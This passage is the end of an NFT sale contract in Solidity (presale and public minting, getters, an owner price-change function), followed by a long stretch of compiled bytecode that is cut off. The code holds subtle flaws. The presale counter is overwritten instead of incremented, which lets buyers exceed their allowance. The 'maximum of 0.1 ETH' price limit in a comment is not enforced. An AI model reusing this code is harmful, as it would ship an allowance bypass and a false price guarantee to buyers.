been closed"); require(totalSupply().add(numberOfToken) <= maxSupplyAtPresaleEnd, "Purchase would exceed max supply during presale"); require(nftPrice.mul(numberOfToken) <= msg.value, "Ether value sent is not correct"); require(presaled[msg.sender].add(numberOfToken) <= presaleAllowedMint[msg.sender], "You can't mint anymore"); internalMint(msg.sender, numberOfToken); presaled[msg.sender] = numberOfToken; } /** Mint a nft during the official sale @param numberOfToken the number of token to mint */ function mintNft(uint64 numberOfToken) public payable { require(saleIsActive, "Sale must be active to mint Nft"); require(totalSupply().add(numberOfToken) <= maxSupply.sub(numberOfGiveaways), "Purchase would exceed max supply of Nfts"); require(nftPrice.mul(numberOfToken) <= msg.value, "Ether value sent is not correct"); require(numberOfToken <= maxNftPurchase, "You can't mint more than 20 token in the same transaction"); internalMint(msg.sender, numberOfToken); } /** Get the current total supply @return uint256 */ function numberOfGiveawayReserved() public view returns (uint256) { return numberOfGiveaways; } /** Get the current total supply @return uint256 */ function totalSupply() public view returns (uint256) { return count; } /** Get the current official sale state @return boolean */ function isSaleActive() public view returns (bool) { return saleIsActive; } /** Get the current presale state @return boolean */ function isPresaleActive() public view returns (bool) { return presaleIsActive; } /** Get the current presale state @return boolean */ function presaleMaxSupply() public view returns (uint256) { return maxSupplyAtPresaleEnd; } /** Get the current presale state @return boolean */ function mintPrice() public view returns (uint256) { return nftPrice; } /** Emergency: price can be changed in case of large fluctuations in ETH price. This feature is here to prevent nft from having prices that are too different from each other. WITH A MAXIMUM OF 0.1 ETH @param newPrice the new nft price */ function emergencyChangePrice(uint256 newPrice) public onlyOwner { require(newPrice >= 0, "Price can't be lower than 0"); nftPrice = newPrice; } }
0x6080604052600436106102465760003560e01c80636506b92911610139578063a22cb465116100b6578063ce4422c51161007a578063ce4422c514610838578063d547741f14610861578063e985e9c51461088a578063f103b433146108c7578063f2fde38b146108f0578063f81227d41461091957610246565b8063a22cb46514610755578063ac31db341461077e578063b88d4fde146107a7578063bde708f4146107d0578063c87b56dd146107fb57610246565b80638da5cb5b116100fd5780638da5cb5b1461066e57806391d148541461069957806395d89b41146106d65780639a58332d14610701578063a217fddf1461072a57610246565b80636506b929146105aa5780636817c76c146105d357806370a08231146105fe578063715018a61461063b57806372be5bd71461065257610246565b806331b5b907116101c75780633ccfd60b1161018b5780633ccfd60b146104d757806342842e0e146104ee578063564566a81461051757806360d938dc146105425780636352211e1461056d57610246565b806331b5b9071461042957806334918dfd1461045257806336568abe146104695780633b0b04c7146104925780633cb1d995146104bb57610246565b80630a8ad85a1161020e5780630a8ad85a1461034457806318160ddd1461036f57806323b872dd1461039a578063248a9ca3146103c35780632f2ff15d1461040057610246565b806301ffc9a71461024b57806306fdde0314610288578063081812fc146102b357806308fc299b146102f0578063095ea7b31461031b575b600080fd5b34801561025757600080fd5b50610272600480360381019061026d91906133c3565b610930565b60405161027f919061340b565b60405180910390f35b34801561029457600080fd5b5061029d610a12565b6040516102aa91906134bf565b60405180910390f35b3480156102bf57600080fd5b506102da60048036038101906102d59190613517565b610aa4565b6040516102e79190613585565b60405180910390f35b3480156102fc57600080fd5b50610305610b29565b60405161031291906135af565b60405180910390f35b34801561032757600080fd5b50610342600480360381019061033d91906135f6565b610b33565b005b34801561035057600080fd5b50610359610c3c565b60405161036691906135af565b60405180910390f35b34801561037b57600080fd5b50610384610c46565b60405161039191906135af565b60405180910390f35b3480156103a657600080fd5b506103c160048036038101906103bc9190613636565b610c50565b005b3480156103cf57600080fd5b506103ea60048036038101906103e591906136bf565b610ca9565b6040516103f791906136fb565b60405180910390f35b34801561040c57600080fd5b5061042760048036038101906104229190613716565b610cc8565b005b34801561043557600080fd5b50610450600480360381019061044b919061388b565b610cea565b005b34801561045e57600080fd5b50610467610d79565b005b34801561047557600080fd5b50610490600480360381019061048b9190613716565b610e1a565b005b34801561049e57600080fd5b506104b960048036038101906104b49190613517565b610e96565b005b6104d560048036038101906104d09190613914565b610f15565b005b3480156104e357600080fd5b506104ec6111eb565b005b3480156104fa57600080fd5b5061051560048036038101906105109190613636565b6112b6565b005b34801561052357600080fd5b5061052c6112d6565b604051610539919061340b565b60405180910390f35b34801561054e57600080fd5b506105576112ed565b604051610564919061340b565b60405180910390f35b34801561057957600080fd5b50610594600480360381019061058f9190613517565b611304565b6040516105a19190613585565b60405180910390f35b3480156105b657600080fd5b506105d160048036038101906105cc9190613a09565b6113b5565b005b3480156105df57600080fd5b506105e8611502565b6040516105f591906135af565b60405180910390f35b34801561060a57600080fd5b5061062560048036038101906106209190613a65565b61150c565b60405161063291906135af565b60405180910390f35b34801561064757600080fd5b506106506115c3565b005b61066c60048036038101906106679190613914565b611644565b005b34801561067a57600080fd5b506106836117d5565b6040516106909190613585565b60405180910390f35b3480156106a557600080fd5b506106c060048036038101906106bb9190613716565b6117ff565b6040516106cd919061340b565b60405180910390f35b3480156106e257600080fd5b506106eb611869565b6040516106f891906134bf565b60405180910390f35b34801561070d57600080fd5b5061072860048036038101906107239190613517565b6118fb565b005b34801561073657600080fd5b5061073f6119be565b60405161074c91906136fb565b60405180910390f35b34801561076157600080fd5b5061077c60048036038101906107779190613abe565b6119c5565b005b34801561078a57600080fd5b506107a560048036038101906107a09190613afe565b611b30565b005b3480156107b357600080fd5b506107ce60048036038101906107c99190613be8565b611c58565b005b3480156107dc57600080fd5b506107e5611cb3565b6040516107f291906135af565b60405180910390f35b34801561080757600080fd5b50610822600480360381019061081d9190613517565b611cb8565b60405161082f91906134bf565b60405180910390f35b34801561084457600080fd5b5061085f600480360381019061085a9190613517565b611d60565b005b34801561086d57600080fd5b5061088860048036038101906108839190613716565b611dee565b005b34801561089657600080fd5b506108b160048036038101906108ac9190613c6b565b611e10565b6040516108be919061340b565b60405180910390f35b3480156108d357600080fd5b506108ee60048036038101906108e99190613517565b611ea4565b005b3480156108fc57600080fd5b5061091760048036038101906109129190613a65565b611f32565b005b34801561092557600080fd5b5061092e612022565b005b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806109fb57507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610a0b5750610a0a826120c3565b5b9050919050565b606060028054610a2190613cda565b80601f0160208091040260200160405190810160405280929190818152602001828054610a4d90613cda565b8015610a9a5780601f10610a6f57610100808354040283529160200191610a9a565b820191906000526020600020905b815481529060010190602001808311610a7d57829003601f168201915b5050505050905090565b6000610aaf8261212d565b610aee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae590613d7d565b60405180910390fd5b6007600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000601054905090565b6000610b3e82611304565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba590613e0f565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610bee5750610bed8133611e10565b5b610c2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2490613ea1565b60405180910390fd5b610c378383612199565b505050565b6000600e54905090565b6000600b54905090565b610c5a3382612252565b610c99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9090613f33565b60405180910390fd5b610ca4838383612330565b505050565b6000806000838152602001908152602001600020600101549050919050565b610cd182610ca9565b610cdb813361258b565b610ce58383612628565b505050565b3373ffffffffffffffffffffffffffffffffffffffff16610d096117d5565b73ffffffffffffffffffffffffffffffffffffffff1614610d5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5690613f9f565b60405180910390fd5b8060049080519060200190610d759291906132b4565b5050565b3373ffffffffffffffffffffffffffffffffffffffff16610d986117d5565b73ffffffffffffffffffffffffffffffffffffffff1614610dee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de590613f9f565b60405180910390fd5b601160009054906101000a900460ff1615601160006101000a81548160ff021916908315150217905550565b3373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610e88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7f90614031565b60405180910390fd5b610e928282612701565b5050565b3373ffffffffffffffffffffffffffffffffffffffff16610eb56117d5565b73ffffffffffffffffffffffffffffffffffffffff1614610f0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0290613f9f565b60405180910390fd5b80600e8190555050565b7f679b4db551486bdc8b8c3d86cea88bd774cea7c203e4aa4e3b39b7bb5f64bc14610f40813361258b565b601160019054906101000a900460ff16610f8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f86906140c3565b60405180910390fd5b601160009054906101000a900460ff1615610fdf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd69061412f565b60405180910390fd5b6010546110068367ffffffffffffffff16610ff8610c46565b6127db90919063ffffffff16565b1115611047576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103e906141c1565b60405180910390fd5b346110678367ffffffffffffffff16600d5461283990919063ffffffff16565b11156110a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109f9061422d565b60405180910390fd5b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111448367ffffffffffffffff16600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127db90919063ffffffff16565b1115611185576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117c90614299565b60405180910390fd5b611199338367ffffffffffffffff166128b3565b8167ffffffffffffffff16600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b3373ffffffffffffffffffffffffffffffffffffffff1661120a6117d5565b73ffffffffffffffffffffffffffffffffffffffff1614611260576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125790613f9f565b60405180910390fd5b600047905061126d6117d5565b73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156112b2573d6000803e3d6000fd5b5050565b6112d183838360405180602001604052806000815250611c58565b505050565b6000601160009054906101000a900460ff16905090565b6000601160019054906101000a900460ff16905090565b6000806005600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036113ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a39061432b565b60405180910390fd5b80915050919050565b3373ffffffffffffffffffffffffffffffffffffffff166113d46117d5565b73ffffffffffffffffffffffffffffffffffffffff161461142a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142190613f9f565b60405180910390fd5b60005b82518163ffffffff1610156114fd576114867f679b4db551486bdc8b8c3d86cea88bd774cea7c203e4aa4e3b39b7bb5f64bc14848363ffffffff16815181106114795761147861434b565b5b6020026020010151610cc8565b8160096000858463ffffffff16815181106114a4576114a361434b565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806114f5906143b9565b91505061142d565b505050565b6000600d54905090565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361157c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157390614457565b60405180910390fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166115e26117d5565b73ffffffffffffffffffffffffffffffffffffffff1614611638576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162f90613f9f565b60405180910390fd5b61164260006129bf565b565b601160009054906101000a900460ff16611693576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168a906144c3565b60405180910390fd5b6116aa600e54600f54612a8590919063ffffffff16565b6116ce8267ffffffffffffffff166116c0610c46565b6127db90919063ffffffff16565b111561170f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170690614555565b60405180910390fd5b3461172f8267ffffffffffffffff16600d5461283990919063ffffffff16565b1115611770576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117679061422d565b60405180910390fd5b60288167ffffffffffffffff1611156117be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b5906145e7565b60405180910390fd5b6117d2338267ffffffffffffffff166128b3565b50565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600080600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b60606003805461187890613cda565b80601f01602080910402602001604051908101604052809291908181526020018280546118a490613cda565b80156118f15780601f106118c6576101008083540402835291602001916118f1565b820191906000526020600020905b8154815290600101906020018083116118d457829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff1661191a6117d5565b73ffffffffffffffffffffffffffffffffffffffff1614611970576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196790613f9f565b60405180910390fd5b60008110156119b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ab90614653565b60405180910390fd5b80600d8190555050565b6000801b81565b3373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2a906146bf565b60405180910390fd5b80600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051611b24919061340b565b60405180910390a35050565b3373ffffffffffffffffffffffffffffffffffffffff16611b4f6117d5565b73ffffffffffffffffffffffffffffffffffffffff1614611ba5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9c90613f9f565b60405180910390fd5b600f54611bc38251611bb5610c46565b6127db90919063ffffffff16565b1115611c04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bfb90614751565b60405180910390fd5b60005b81518163ffffffff161015611c5457611c41828263ffffffff1681518110611c3257611c3161434b565b5b602002602001015160016128b3565b8080611c4c906143b9565b915050611c07565b5050565b611c623383612252565b611ca1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9890613f33565b60405180910390fd5b611cad84848484612ade565b50505050565b602881565b6060611cc38261212d565b611d02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cf9906147e3565b60405180910390fd5b600060048054611d1190613cda565b905011611d2d5760405180602001604052806000815250611d59565b6004611d3883612b3a565b604051602001611d499291906148d3565b6040516020818303038152906040525b9050919050565b3373ffffffffffffffffffffffffffffffffffffffff16611d7f6117d5565b73ffffffffffffffffffffffffffffffffffffffff1614611dd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcc90613f9f565b60405180910390fd5b600b54811015611de457600080fd5b8060108190555050565b611df782610ca9565b611e01813361258b565b611e0b8383612701565b505050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16611ec36117d5565b73ffffffffffffffffffffffffffffffffffffffff1614611f19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f1090613f9f565b60405180910390fd5b600b54811015611f2857600080fd5b80600f8190555050565b3373ffffffffffffffffffffffffffffffffffffffff16611f516117d5565b73ffffffffffffffffffffffffffffffffffffffff1614611fa7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9e90613f9f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612016576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161200d90614969565b60405180910390fd5b61201f816129bf565b50565b3373ffffffffffffffffffffffffffffffffffffffff166120416117d5565b73ffffffffffffffffffffffffffffffffffffffff1614612097576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208e90613f9f565b60405180910390fd5b601160019054906101000a900460ff1615601160016101000a81548160ff021916908315150217905550565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166005600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b816007600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff1661220c83611304565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b600061225d8261212d565b61229c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612293906149fb565b60405180910390fd5b60006122a783611304565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148061231657508373ffffffffffffffffffffffffffffffffffffffff166122fe84610aa4565b73ffffffffffffffffffffffffffffffffffffffff16145b8061232757506123268185611e10565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff1661235082611304565b73ffffffffffffffffffffffffffffffffffffffff16146123a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239d90614a8d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612415576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240c90614b1f565b60405180910390fd5b612420838383612c9a565b61242b600082612199565b6001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461247b9190614b3f565b925050819055506001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546124d29190614b73565b92505081905550816005600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b61259582826117ff565b612624576125ba8173ffffffffffffffffffffffffffffffffffffffff166014612c9f565b6125c88360001c6020612c9f565b6040516020016125d9929190614c61565b6040516020818303038152906040526040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161261b91906134bf565b60405180910390fd5b5050565b61263282826117ff565b6126fd57600160008084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b61270b82826117ff565b156127d757600080600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b60008082846127ea9190614b73565b90508381101561282f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161282690614ce7565b60405180910390fd5b8091505092915050565b600080830361284b57600090506128ad565b600082846128599190614d07565b90508284826128689190614d90565b146128a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161289f90614e33565b60405180910390fd5b809150505b92915050565b60008167ffffffffffffffff8111156128cf576128ce613760565b5b6040519080825280602002602001820160405280156128fd5781602001602082028036833780820191505090505b50905060005b828163ffffffff16101561297b57600061291b610c46565b90506129278582612edb565b80838363ffffffff16815181106129415761294061434b565b5b6020026020010181815250506001600b60008282546129609190614b73565b92505081905550508080612973906143b9565b915050612903565b507fc30aec18d07dacc3a8cc4a805923fa38d25098fe16c3069a6af835e1f74971f983428360006040516129b29493929190614f11565b60405180910390a1505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600082821115612aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ac190614fa9565b60405180910390fd5b8183612ad69190614b3f565b905092915050565b612ae9848484612330565b612af584848484612ef9565b612b34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b2b9061503b565b60405180910390fd5b50505050565b606060008203612b81576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612c95565b600082905060005b60008214612bb3578080612b9c9061505b565b915050600a82612bac9190614d90565b9150612b89565b60008167ffffffffffffffff811115612bcf57612bce613760565b5b6040519080825280601f01601f191660200182016040528015612c015781602001600182028036833780820191505090505b5090505b60008514612c8e57600182612c1a9190614b3f565b9150600a85612c2991906150a3565b6030612c359190614b73565b60f81b818381518110612c4b57612c4a61434b565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a85612c879190614d90565b9450612c05565b8093505050505b919050565b505050565b606060006002836002612cb29190614d07565b612cbc9190614b73565b67ffffffffffffffff811115612cd557612cd4613760565b5b6040519080825280601f01601f191660200182016040528015612d075781602001600182028036833780820191505090505b5090507f300000000000000000000000000000000000000000000000000000000000000081600081518110612d3f57612d3e61434b565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053507f780000000000000000000000000000000000000000000000000000000000000081600181518110612da357612da261434b565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535060006001846002612de39190614d07565b612ded9190614b73565b90505b6001811115612e8d577f3031323334353637383961626364656600000000000000000000000000000000600f861660108110612e2f57612e2e61434b565b5b1a60f81b828281518110612e4657612e4561434b565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600485901c945080612e86906150d4565b9050612df0565b5060008414612ed1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ec890615149565b60405180910390fd5b8091505092915050565b612ef5828260405180602001604052806000815250613079565b5050565b6000612f1a8473ffffffffffffffffffffffffffffffffffffffff166130d4565b1561306c578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02338786866040518563ffffffff1660e01b8152600401612f5e94939291906151be565b6020604051808303816000875af1925050508015612f9a57506040513d601f19601f82011682018060405250810190612f97919061521f565b60015b61301c573d8060008114612fca576040519150601f19603f3d011682016040523d82523d6000602084013e612fcf565b606091505b506000815103613014576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161300b9061503b565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050613071565b600190505b949350505050565b61308383836130e7565b6130906000848484612ef9565b6130cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130c69061503b565b60405180910390fd5b505050565b600080823b905060008111915050919050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603613156576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161314d90615298565b60405180910390fd5b61315f8161212d565b1561319f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161319690615304565b60405180910390fd5b6131ab60008383612c9a565b6001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546131fb9190614b73565b92505081905550816005600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b8280546132c090613cda565b90600052602060002090601f0160209004810192826132e25760008555613329565b82601f106132fb57805160ff1916838001178555613329565b82800160010185558215613329579182015b8281111561332857825182559160200191906001019061330d565b5b509050613336919061333a565b5090565b5b8082111561335357600081600090555060010161333b565b5090565b6000604051905090565b600080fd5b600080fd5b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b6133a08161336b565b81146133ab57600080fd5b50565b6000813590506133bd81613397565b92915050565b6000602082840312156133d9576133d8613361565b5b60006133e7848285016133ae565b91505092915050565b60008115159050919050565b613405816133f0565b82525050565b600060208201905061342060008301846133fc565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613460578082015181840152602081019050613445565b8381111561346f576000848401525b50505050565b6000601f19601f8301169050919050565b600061349182613426565b61349b8185613431565b93506134ab818560208601613442565b6134b481613475565b840191505092915050565b600060208201905081810360008301526134d98184613486565b905092915050565b6000819050919050565b6134f4816134e1565b81146134ff57600080fd5b50565b600081359050613511816134eb565b92915050565b60006020828403121561352d5761352c613361565b5b600061353b84828501613502565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061356f82613544565b9050919050565b61357f81613564565b82525050565b600060208201905061359a6000830184613576565b92915050565b6135a9816134e1565b82525050565b60006020820190506135c460008301846135a0565b92915050565b6135d381613564565b81146135de57600080fd5b50565b6000813590506135f0816135ca565b92915050565b6000806040838503121561360d5761360c613361565b5b600061361b858286016135e1565b925050602061362c85828601613502565b9150509250929050565b60008060006060848603121561364f5761364e613361565b5b600061365d868287016135e1565b935050602061366e868287016135e1565b925050604061367f86828701613502565b9150509250925092565b6000819050919050565b61369c81613689565b81146136a757600080fd5b50565b6000813590506136b981613693565b92915050565b6000602082840312156136d5576136d4613361565b5b60006136e3848285016136aa565b91505092915050565b6136f581613689565b82525050565b600060208201905061371060008301846136ec565b92915050565b6000806040838503121561372d5761372c613361565b5b600061373b858286016136aa565b925050602061374c858286016135e1565b9150509250929050565b600080fd5b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61379882613475565b810181811067ffffffffffffffff821117156137b7576137b6613760565b5b80604052505050565b60006137ca613357565b90506137d6828261378f565b919050565b600067ffffffffffffffff8211156137f6576137f5613760565b5b6137ff82613475565b9050602081019050919050565b82818337600083830152505050565b600061382e613829846137db565b6137c0565b90508281526020810184848401111561384a5761384961375b565b5b61385584828561380c565b509392505050565b600082601f83011261387257613871613756565b5b813561388284826020860161381b565b91505092915050565b6000602082840312156138a1576138a0613361565b5b600082013567ffffffffffffffff8111156138bf576138be613366565b5b6138cb8482850161385d565b91505092915050565b600067ffffffffffffffff82169050919050565b6138f1816138d4565b81146138fc57600080fd5b50565b60008135905061390e816138e8565b92915050565b60006020828403121561392a57613929613361565b5b6000613938848285016138ff565b91505092915050565b600067ffffffffffffffff82111561395c5761395b613760565b5b602082029050602081019050919050565b600080fd5b600061398561398084613941565b6137c0565b905080838252602082019050602084028301858111156139a8576139a761396d565b5b835b818110156139d157806139bd88826135e1565b8452602084019350506020810190506139aa565b5050509392505050565b600082601f8301126139f0576139ef613756565b5b8135613a00848260208601613972565b91505092915050565b60008060408385031215613a2057613a1f613361565b5b600083013567ffffffffffffffff811115613a3e57613a3d613366565b5b613a4a858286016139db565b9250506020613a5b85828601613502565b9150509250929050565b600060208284031215613a7b57613a7a613361565b5b6000613a89848285016135e1565b91505092915050565b613a9b816133f0565b8114613aa657600080fd5b50565b600081359050613ab881613a92565b92915050565b60008060408385031215613ad557613ad4613361565b5b6000613ae3858286016135e1565b9250506020613af485828601613aa9565b9150509250929050565b600060208284031215613b1457613b13613361565b5b600082013567ffffffffffffffff811115613b3257613b31613366565b5b613b3e848285016139db565b91505092915050565b600067ffffffffffffffff821115613b6257613b61613760565b5b613b6b82613475565b9050602081019050919050565b6000613b8b613b8684613b47565b6137c0565b905082815260208101848484011115613ba757613ba661375b565b5b613bb284828561380c565b509392505050565b600082601f830112613bcf57613bce613756565b5b8135613bdf848260208601613b78565b91505092915050565b60008060008060808587031215613c0257613c01613361565b5b6000613c10878288016135e1565b9450506020613c21878288016135e1565b9350506040613c3287828801613502565b925050606085013567ffffffffffffffff811115613c5357613c52613366565b5b613c5f87828801613bba565b91505092959194509250565b60008060408385031215613c8257613c81613361565b5b6000613c90858286016135e1565b9250506020613ca1858286016135e1565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680613cf257607f821691505b602082108103613d0557613d04613cab565b5b50919050565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b6000613d67602c83613431565b9150613d7282613d0b565b604082019050919050565b60006020820190508181036000830152613d9681613d5a565b9050919050565b7f4552433732313a20617070726f76616c20746f2063